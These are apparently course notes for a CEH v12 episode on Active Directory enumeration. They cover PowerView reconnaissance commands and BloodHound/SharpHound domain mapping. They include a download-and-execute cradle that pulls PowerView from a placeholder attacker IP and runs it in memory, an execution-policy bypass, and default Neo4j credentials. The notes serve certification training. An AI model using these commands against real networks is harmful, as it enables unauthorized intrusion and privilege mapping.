- Filename: eccouncil-ceh31250-v12-6-11-1-ad-enumeration.md
- Show Name: CEHv12 (312-50)
- Topic Name: System Hacking Phases and Attack Techniques - System Hacking
- Episode Name: AD Enumeration
  ==

Maintaining Access

Objectives:

- AD Enum using PowerView.ps1
    - https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
        - Run **PowerView**
            - Locally
        - `powershell -ep bypass`
        - `. .\PowerView.ps1`
            - From Memory
        - `iex (new-object net.webclient)downloadstring('http://<attack-IP>/PowerView.ps1')`
        - PowerView AD Enum Commands
            - https://powersploit.readthedocs.io/en/latest/Recon/#powerview
        - `Get-NetDomain`
            - Domain Info
        - `Get-NetForest`
            - Forest Info
        - `Get-NetForestDomain`
            - Forests that Domain belongs to
        - `Get-NetLoggedOn`
        - `Invoke-ShareFinder`
- Domain mapping and exploitation with Bloodhound
    - https://github.com/BloodHoundAD/BloodHound
    - https://bloodhound.readthedocs.io/en/latest/
        - Start Neo4j: `neo4j console`
            - Open Neo4j Interface: http://localhost:7474/
            - Default creds: *neo4j:neo4j*
        - Start Bloodhound and login:
            - `bloodhound`
        - Download and run **SharpHound.exe**
            - `.\SharpHound.exe`
        - Copy generated zip file to *Bloodhound* server
        - Import data into *Bloodhound*
        - Use analytics to explore AD